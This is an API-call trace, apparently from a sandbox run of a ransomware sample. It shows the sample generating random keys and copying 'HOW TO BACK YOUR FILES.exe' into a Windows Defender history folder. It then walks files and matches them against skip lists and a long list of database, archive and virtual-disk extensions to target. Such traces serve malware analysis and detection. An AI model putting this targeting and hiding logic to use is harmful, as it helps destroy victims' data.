	[0079.394] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.394] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.394] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d60, lpName=0x0) returned 0x15c
	[0079.395] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d60) returned 0x100000
	[0079.396] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.397] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.397] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.397] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.397] CloseHandle (hObject=0x15c) returned 1
	[0079.397] CloseHandle (hObject=0x9c) returned 1
	[0079.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.398] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 0
	[0079.398] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.398] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0079.398] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0079.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0079.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0079.398] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 72
	[0079.398] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0079.398] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.399] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.399] GetLastError () returned 0x0
	[0079.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.399] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.399] CloseHandle (hObject=0x10c) returned 1
	[0079.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.399] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.399] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.399] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.399] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.399] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.399] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.399] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.399] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.399] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.399] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.399] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f873fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.399] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.399] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 1
	[0079.399] lstrcmpiW (lpString1="MpSfc.bin", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="Apollon865.txt.exe") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2=".") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="..") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="windows") returned -1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="bootmgr") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="temp") returned -1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="pagefile.sys") returned -1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="boot") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="ids.txt") returned 1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="ntuser.dat") returned -1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="perflogs") returned -1
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2="MSBuild") returned -1
	[0079.400] lstrlenW (lpString="MpSfc.bin") returned 9
	[0079.400] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*") returned 74
	[0079.400] lstrcpyW (in: lpString1=0x119e69a, lpString2="MpSfc.bin" | out: lpString1="MpSfc.bin") returned="MpSfc.bin"
	[0079.400] lstrlenW (lpString="MpSfc.bin") returned 9
	[0079.400] lstrlenW (lpString="Apollon865") returned 10
	[0079.400] lstrlenW (lpString=".dll") returned 4
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2=".dll") returned 1
	[0079.400] lstrlenW (lpString=".lnk") returned 4
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2=".lnk") returned 1
	[0079.400] lstrlenW (lpString=".ini") returned 4
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2=".ini") returned 1
	[0079.400] lstrlenW (lpString=".sys") returned 4
	[0079.400] lstrcmpiW (lpString1="MpSfc.bin", lpString2=".sys") returned 1
	[0079.400] lstrlenW (lpString="MpSfc.bin") returned 9
	[0079.400] lstrlenW (lpString="bak") returned 3
	[0079.400] lstrcmpiW (lpString1="bin", lpString2="bak") returned 1
	[0079.400] lstrlenW (lpString="ba_") returned 3
	[0079.400] lstrcmpiW (lpString1="bin", lpString2="ba_") returned 1
	[0079.400] lstrlenW (lpString="dbb") returned 3
	[0079.400] lstrcmpiW (lpString1="bin", lpString2="dbb") returned -1
	[0079.400] lstrlenW (lpString="vmdk") returned 4
	[0079.400] lstrcmpiW (lpString1=".bin", lpString2="vmdk") returned -1
	[0079.400] lstrlenW (lpString="rar") returned 3
	[0079.400] lstrcmpiW (lpString1="bin", lpString2="rar") returned -1
	[0079.400] lstrlenW (lpString="zip") returned 3
	[0079.400] lstrcmpiW (lpString1="bin", lpString2="zip") returned -1
	[0079.400] lstrlenW (lpString="tgz") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="tgz") returned -1
	[0079.401] lstrlenW (lpString="vbox") returned 4
	[0079.401] lstrcmpiW (lpString1=".bin", lpString2="vbox") returned -1
	[0079.401] lstrlenW (lpString="vdi") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="vdi") returned -1
	[0079.401] lstrlenW (lpString="vhd") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="vhd") returned -1
	[0079.401] lstrlenW (lpString="vhdx") returned 4
	[0079.401] lstrcmpiW (lpString1=".bin", lpString2="vhdx") returned -1
	[0079.401] lstrlenW (lpString="avhd") returned 4
	[0079.401] lstrcmpiW (lpString1=".bin", lpString2="avhd") returned -1
	[0079.401] lstrlenW (lpString="db") returned 2
	[0079.401] lstrcmpiW (lpString1="in", lpString2="db") returned 1
	[0079.401] lstrlenW (lpString="db2") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="db2") returned -1
	[0079.401] lstrlenW (lpString="db3") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="db3") returned -1
	[0079.401] lstrlenW (lpString="dbf") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="dbf") returned -1
	[0079.401] lstrlenW (lpString="mdf") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="mdf") returned -1
	[0079.401] lstrlenW (lpString="mdb") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="mdb") returned -1
	[0079.401] lstrlenW (lpString="sql") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="sql") returned -1
	[0079.401] lstrlenW (lpString="sqlite") returned 6
	[0079.401] lstrcmpiW (lpString1="fc.bin", lpString2="sqlite") returned -1
	[0079.401] lstrlenW (lpString="sqlite3") returned 7
	[0079.401] lstrcmpiW (lpString1="Sfc.bin", lpString2="sqlite3") returned -1
	[0079.401] lstrlenW (lpString="sqlitedb") returned 8
	[0079.401] lstrcmpiW (lpString1="pSfc.bin", lpString2="sqlitedb") returned -1
	[0079.401] lstrlenW (lpString="xml") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="xml") returned -1
	[0079.401] lstrlenW (lpString="$er") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="$er") returned 1
	[0079.401] lstrlenW (lpString="4dd") returned 3
	[0079.401] lstrcmpiW (lpString1="bin", lpString2="4dd") returned 1
	[0079.401] lstrlenW (lpString="4dl") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="4dl") returned 1
	[0079.402] lstrlenW (lpString="^^^") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="^^^") returned 1
	[0079.402] lstrlenW (lpString="abs") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="abs") returned 1
	[0079.402] lstrlenW (lpString="abx") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="abx") returned 1
	[0079.402] lstrlenW (lpString="accdb") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accdb") returned 1
	[0079.402] lstrlenW (lpString="accdc") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accdc") returned 1
	[0079.402] lstrlenW (lpString="accde") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accde") returned 1
	[0079.402] lstrlenW (lpString="accdr") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accdr") returned 1
	[0079.402] lstrlenW (lpString="accdt") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accdt") returned 1
	[0079.402] lstrlenW (lpString="accdw") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accdw") returned 1
	[0079.402] lstrlenW (lpString="accft") returned 5
	[0079.402] lstrcmpiW (lpString1="c.bin", lpString2="accft") returned 1
	[0079.402] lstrlenW (lpString="adb") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="adb") returned 1
	[0079.402] lstrlenW (lpString="adb") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="adb") returned 1
	[0079.402] lstrlenW (lpString="ade") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="ade") returned 1
	[0079.402] lstrlenW (lpString="adf") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="adf") returned 1
	[0079.402] lstrlenW (lpString="adn") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="adn") returned 1
	[0079.402] lstrlenW (lpString="adp") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="adp") returned 1
	[0079.402] lstrlenW (lpString="alf") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="alf") returned 1
	[0079.402] lstrlenW (lpString="ask") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="ask") returned 1
	[0079.402] lstrlenW (lpString="btr") returned 3
	[0079.402] lstrcmpiW (lpString1="bin", lpString2="btr") returned -1
	[0079.403] lstrlenW (lpString="cat") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="cat") returned -1
	[0079.403] lstrlenW (lpString="cdb") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="cdb") returned -1
	[0079.403] lstrlenW (lpString="ckp") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="ckp") returned -1
	[0079.403] lstrlenW (lpString="cma") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="cma") returned -1
	[0079.403] lstrlenW (lpString="cpd") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="cpd") returned -1
	[0079.403] lstrlenW (lpString="dacpac") returned 6
	[0079.403] lstrcmpiW (lpString1="fc.bin", lpString2="dacpac") returned 1
	[0079.403] lstrlenW (lpString="dad") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dad") returned -1
	[0079.403] lstrlenW (lpString="dadiagrams") returned 10
	[0079.403] lstrlenW (lpString="daschema") returned 8
	[0079.403] lstrcmpiW (lpString1="pSfc.bin", lpString2="daschema") returned 1
	[0079.403] lstrlenW (lpString="db-journal") returned 10
	[0079.403] lstrlenW (lpString="db-shm") returned 6
	[0079.403] lstrcmpiW (lpString1="fc.bin", lpString2="db-shm") returned 1
	[0079.403] lstrlenW (lpString="db-wal") returned 6
	[0079.403] lstrcmpiW (lpString1="fc.bin", lpString2="db-wal") returned 1
	[0079.403] lstrlenW (lpString="dbc") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dbc") returned -1
	[0079.403] lstrlenW (lpString="dbs") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dbs") returned -1
	[0079.403] lstrlenW (lpString="dbt") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dbt") returned -1
	[0079.403] lstrlenW (lpString="dbv") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dbv") returned -1
	[0079.403] lstrlenW (lpString="dbx") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dbx") returned -1
	[0079.403] lstrlenW (lpString="dcb") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dcb") returned -1
	[0079.403] lstrlenW (lpString="dct") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dct") returned -1
	[0079.403] lstrlenW (lpString="dcx") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="dcx") returned -1
	[0079.403] lstrlenW (lpString="ddl") returned 3
	[0079.403] lstrcmpiW (lpString1="bin", lpString2="ddl") returned -1
	[0079.404] lstrlenW (lpString="dlis") returned 4
	[0079.404] lstrcmpiW (lpString1=".bin", lpString2="dlis") returned -1
	[0079.404] lstrlenW (lpString="dp1") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="dp1") returned -1
	[0079.404] lstrlenW (lpString="dqy") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="dqy") returned -1
	[0079.404] lstrlenW (lpString="dsk") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="dsk") returned -1
	[0079.404] lstrlenW (lpString="dsn") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="dsn") returned -1
	[0079.404] lstrlenW (lpString="dtsx") returned 4
	[0079.404] lstrcmpiW (lpString1=".bin", lpString2="dtsx") returned -1
	[0079.404] lstrlenW (lpString="dxl") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="dxl") returned -1
	[0079.404] lstrlenW (lpString="eco") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="eco") returned -1
	[0079.404] lstrlenW (lpString="ecx") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="ecx") returned -1
	[0079.404] lstrlenW (lpString="edb") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="edb") returned -1
	[0079.404] lstrlenW (lpString="epim") returned 4
	[0079.404] lstrcmpiW (lpString1=".bin", lpString2="epim") returned -1
	[0079.404] lstrlenW (lpString="fcd") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fcd") returned -1
	[0079.404] lstrlenW (lpString="fdb") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fdb") returned -1
	[0079.404] lstrlenW (lpString="fic") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fic") returned -1
	[0079.404] lstrlenW (lpString="flexolibrary") returned 12
	[0079.404] lstrlenW (lpString="fm5") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fm5") returned -1
	[0079.404] lstrlenW (lpString="fmp") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fmp") returned -1
	[0079.404] lstrlenW (lpString="fmp12") returned 5
	[0079.404] lstrcmpiW (lpString1="c.bin", lpString2="fmp12") returned -1
	[0079.404] lstrlenW (lpString="fmpsl") returned 5
	[0079.404] lstrcmpiW (lpString1="c.bin", lpString2="fmpsl") returned -1
	[0079.404] lstrlenW (lpString="fol") returned 3
	[0079.404] lstrcmpiW (lpString1="bin", lpString2="fol") returned -1
	[0079.405] lstrlenW (lpString="fp3") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="fp3") returned -1
	[0079.405] lstrlenW (lpString="fp4") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="fp4") returned -1
	[0079.405] lstrlenW (lpString="fp5") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="fp5") returned -1
	[0079.405] lstrlenW (lpString="fp7") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="fp7") returned -1
	[0079.405] lstrlenW (lpString="fpt") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="fpt") returned -1
	[0079.405] lstrlenW (lpString="frm") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="frm") returned -1
	[0079.405] lstrlenW (lpString="gdb") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="gdb") returned -1
	[0079.405] lstrlenW (lpString="gdb") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="gdb") returned -1
	[0079.405] lstrlenW (lpString="grdb") returned 4
	[0079.405] lstrcmpiW (lpString1=".bin", lpString2="grdb") returned -1
	[0079.405] lstrlenW (lpString="gwi") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="gwi") returned -1
	[0079.405] lstrlenW (lpString="hdb") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="hdb") returned -1
	[0079.405] lstrlenW (lpString="his") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="his") returned -1
	[0079.405] lstrlenW (lpString="ib") returned 2
	[0079.405] lstrcmpiW (lpString1="in", lpString2="ib") returned 1
	[0079.405] lstrlenW (lpString="idb") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="idb") returned -1
	[0079.405] lstrlenW (lpString="ihx") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="ihx") returned -1
	[0079.405] lstrlenW (lpString="itdb") returned 4
	[0079.405] lstrcmpiW (lpString1=".bin", lpString2="itdb") returned -1
	[0079.405] lstrlenW (lpString="itw") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="itw") returned -1
	[0079.405] lstrlenW (lpString="jet") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="jet") returned -1
	[0079.405] lstrlenW (lpString="jtx") returned 3
	[0079.405] lstrcmpiW (lpString1="bin", lpString2="jtx") returned -1
	[0079.405] lstrlenW (lpString="kdb") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="kdb") returned -1
	[0079.406] lstrlenW (lpString="kexi") returned 4
	[0079.406] lstrcmpiW (lpString1=".bin", lpString2="kexi") returned -1
	[0079.406] lstrlenW (lpString="kexic") returned 5
	[0079.406] lstrcmpiW (lpString1="c.bin", lpString2="kexic") returned -1
	[0079.406] lstrlenW (lpString="kexis") returned 5
	[0079.406] lstrcmpiW (lpString1="c.bin", lpString2="kexis") returned -1
	[0079.406] lstrlenW (lpString="lgc") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="lgc") returned -1
	[0079.406] lstrlenW (lpString="lwx") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="lwx") returned -1
	[0079.406] lstrlenW (lpString="maf") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="maf") returned -1
	[0079.406] lstrlenW (lpString="maq") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="maq") returned -1
	[0079.406] lstrlenW (lpString="mar") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mar") returned -1
	[0079.406] lstrlenW (lpString="marshal") returned 7
	[0079.406] lstrcmpiW (lpString1="Sfc.bin", lpString2="marshal") returned 1
	[0079.406] lstrlenW (lpString="mas") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mas") returned -1
	[0079.406] lstrlenW (lpString="mav") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mav") returned -1
	[0079.406] lstrlenW (lpString="maw") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="maw") returned -1
	[0079.406] lstrlenW (lpString="mdbhtml") returned 7
	[0079.406] lstrcmpiW (lpString1="Sfc.bin", lpString2="mdbhtml") returned 1
	[0079.406] lstrlenW (lpString="mdn") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mdn") returned -1
	[0079.406] lstrlenW (lpString="mdt") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mdt") returned -1
	[0079.406] lstrlenW (lpString="mfd") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mfd") returned -1
	[0079.406] lstrlenW (lpString="mpd") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mpd") returned -1
	[0079.406] lstrlenW (lpString="mrg") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mrg") returned -1
	[0079.406] lstrlenW (lpString="mud") returned 3
	[0079.406] lstrcmpiW (lpString1="bin", lpString2="mud") returned -1
	[0079.407] lstrlenW (lpString="mwb") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="mwb") returned -1
	[0079.407] lstrlenW (lpString="myd") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="myd") returned -1
	[0079.407] lstrlenW (lpString="ndf") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="ndf") returned -1
	[0079.407] lstrlenW (lpString="nnt") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="nnt") returned -1
	[0079.407] lstrlenW (lpString="nrmlib") returned 6
	[0079.407] lstrcmpiW (lpString1="fc.bin", lpString2="nrmlib") returned -1
	[0079.407] lstrlenW (lpString="ns2") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="ns2") returned -1
	[0079.407] lstrlenW (lpString="ns3") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="ns3") returned -1
	[0079.407] lstrlenW (lpString="ns4") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="ns4") returned -1
	[0079.407] lstrlenW (lpString="nsf") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="nsf") returned -1
	[0079.407] lstrlenW (lpString="nv") returned 2
	[0079.407] lstrcmpiW (lpString1="in", lpString2="nv") returned -1
	[0079.407] lstrlenW (lpString="nv2") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="nv2") returned -1
	[0079.407] lstrlenW (lpString="nwdb") returned 4
	[0079.407] lstrcmpiW (lpString1=".bin", lpString2="nwdb") returned -1
